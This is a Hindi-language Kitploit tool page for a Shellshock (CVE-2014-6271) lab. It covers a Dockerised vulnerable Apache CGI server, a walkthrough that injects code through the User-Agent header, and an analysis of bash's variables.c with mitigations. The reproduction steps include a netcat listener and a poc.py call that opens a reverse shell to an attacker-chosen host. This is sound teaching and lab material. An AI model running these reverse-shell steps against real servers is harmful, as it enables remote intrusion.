Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Shellshock_CVE-2014-6271 — Shellshock | Kitploit
उपकरण/GitHubGitHub/caverm/shellshock_cve-2014-6271
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubcaverm/shellshock_cve-2014-6271

Shellshock_CVE-2014-6271

Shellshock

रिपॉजिटरी देखें
1 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Shellshock CVE-2014-6271

Shellshock

docker-compose.yml, poc.py फ़ाइलें डाउनलोड करें कृपया pip install requests के माध्यम से requests लाइब्रेरी को डाउनलोड करें!!! यदि आप uv का उपयोग कर रहे हैं, तो कृपया uv के माध्यम से requests लाइब्रेरी को venv के अंदर रखें!!!

CVE आधिकारिक विवरण
GNU Bash 4.3 से पिछले संस्करणों में, एन्वायरनमेंट वेरिएबल मानों में फ़ंक्शन परिभाषा के बाद आने वाली स्ट्रिंग को संसाधित करने में एक समस्या थी। इस भेद्यता का उपयोग करके, एक दूरस्थ हमलावर हेरफेर किए गए एन्वायरनमेंट के माध्यम से मनमाना कोड निष्पादित कर सकता था। यह भेद्यता OpenSSH sshd के ForceCommand फीचर, Apache HTTP सर्वर के mod_cgi और mod_cgid मॉड्यूल, अनिर्दिष्ट DHCP क्लाइंट्स पर चलने वाली स्क्रिप्ट्स, और कई अन्य स्थितियों में पाई गई जहाँ Bash निष्पादित करने की अनुमति और एन्वायरनमेंट वेरिएबल सेटिंग विभिन्न अनुमति सीमाओं को पार करती है। इसे "ShellShock" भी कहा जाता है। नोट: इस समस्या का प्रारंभिक सुधार गलत था, और गलत सुधार के बाद भी मौजूद इस भेद्यता को हल करने के लिए CVE-2014-7169 निर्दिष्ट किया गया।

पर्यावरण सेटअप

डॉकर फ़ाइल कॉन्फ़िगरेशन

osweb serverbash version
Debian 10Apach4.2.37(1)

Dockerfile इस प्रकार लिखें कि जब docker compose up कमांड चलाया जाए तो वेब सर्वर खुला रहे।

चूँकि Dockerfile में OS, Apache आदि सभी बाहरी रिपॉजिटरी से डाउनलोड किए गए थे, इसलिए बिल्ड की गई इमेज को टैग करके डॉकर हब पर push कर दिया गया और फिर उस इमेज को docker-compose.yml फ़ाइल में निर्दिष्ट कर दिया गया, ताकि मूल फ़ाइलें हटा दिए जाने पर भी कोई समस्या न हो।

भेद्यता की शर्त

Shellshock भेद्यता वाले Bash शेल की आवश्यकता है। मैंने bash शेल का 4.2.37(1) संस्करण डाउनलोड करके उपयोग किया।

इसके अलावा, कोड को एन्वायरनमेंट वेरिएबल में रजिस्टर करने के बाद bash को कॉल करना आवश्यक है ताकि कोड निष्पादित हो, इसलिए एक ऐसा प्रोग्राम होना चाहिए जो bash को कॉल कर सके। मैंने CGI प्रोग्राम डाउनलोड किया जो वेब सर्वर पर क्लाइंट अनुरोधों को संसाधित करने के लिए उपयोग किया जाता था। CGI मानक (RFC 3875) के अनुसार, वेब सर्वर ब्राउज़र द्वारा भेजी गई सभी हेडर जानकारी को लिनक्स एन्वायरनमेंट वेरिएबल में डालकर संसाधित करने के लिए डिज़ाइन किया गया है। इस शर्त के तहत, वेब सर्वर एक अनुरोध भेजता है और वह हेडर जानकारी एन्वायरनमेंट वेरिएबल में संग्रहीत हो जाती है (CGI मानक के अनुसार)। CGI द्वारा उस bash शेल को कॉल करने से हमला पूरा होता है जिसमें एन्वायरनमेंट वेरिएबल में फ़ंक्शन परिभाषा के बाद आने वाली स्ट्रिंग को निष्पादित करने की भेद्यता है। अनुरोध (User-Agent हेडर में कोड डालकर भेजना) -> CGI द्वारा bash कॉल -> रिवर्स शेल कनेक्शन

पुनरुत्पादन प्रक्रिया
  1. docker compose up कमांड के माध्यम से वेब सर्वर चलाएँ।
  2. एक नया टर्मिनल खोलें और nc -lvp 4444 के साथ सुनना शुरू करें
  3. poc.py चलाकर रिवर्स शेल कनेक्ट करें।
    • uv run ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (यह 4444 होना आवश्यक नहीं है; यह इस पर निर्भर करता है कि आप किस पोर्ट पर सुन रहे हैं)
    • python3 ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (यदि आप uv का उपयोग नहीं कर रहे हैं, तो कृपया python3 कमांड का उपयोग करके चलाएँ!!!)
प्राप्त परिणाम

पुनरुत्पादन प्रक्रिया के चरण 2 में सुनने वाला टर्मिनल कंटेनर के अंदर बैश शेल से जुड़ जाता है, और whoami, id जैसे कमांड निष्पादित कर सकता है।

भेद्यता का कारण
root@kitploit:~
  '''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
{
string_length = strlen (string);
temp_string = (char *)xmalloc (3 + string_length + char_index);

strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

// 이하 생략 
'''

भेद्यता का कारण bash शेल कोड के variables.c फ़ाइल के अंदर initialize_shell_variables फ़ंक्शन में है। यह फ़ंक्शन भी बहुत लंबा है, इसलिए केवल मुख्य भाग काट कर दिखाया गया है।

root@kitploit:~
'''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
'''

उपरोक्त if स्टेटमेंट STREQN ("() {", string, 4) के माध्यम से जाँच कर रहा है कि पहले 4 अक्षर "() {" हैं या नहीं। यदि मिलान होता है, तो इसे फ़ंक्शन मान लिया जाता है। आश्चर्यजनक रूप से, इसके बाद string पर कोई फ़िल्टरिंग नहीं है, जिससे समस्या उत्पन्न हुई।

root@kitploit:~
'''
strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string); 

''' उपरोक्त कोड नाम और मान को जोड़ने की प्रक्रिया है। ऊपर जाँचे गए मान के अनुसार, string () { से शुरू होने वाला रूप है और name एन्वायरनमेंट वेरिएबल का नाम होगा। इस प्रकार एन्वायरनमेंट वेरिएबल के नाम और मान को संयोजित करके नीचे दिए गए कोड में पार्स करने के लिए भेजा जाता है। चूँकि फ़िल्टर केवल ऊपर () { की जाँच करने वाला भाग था, इसलिए फ़ंक्शन के बाद whoami, id, pwd जैसे कमांड जोड़ने पर भी वे सभी निष्पादित हो जाते हैं।

root@kitploit:~
'''
parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
 '''
निवारण उपाय
Bash को Shellshock भेद्यता से सुरक्षित संस्करण में अपग्रेड करें।
Bash शेल को कॉल करने वाले प्रोग्राम का उपयोग न करें।
टूल डाउनलोड करें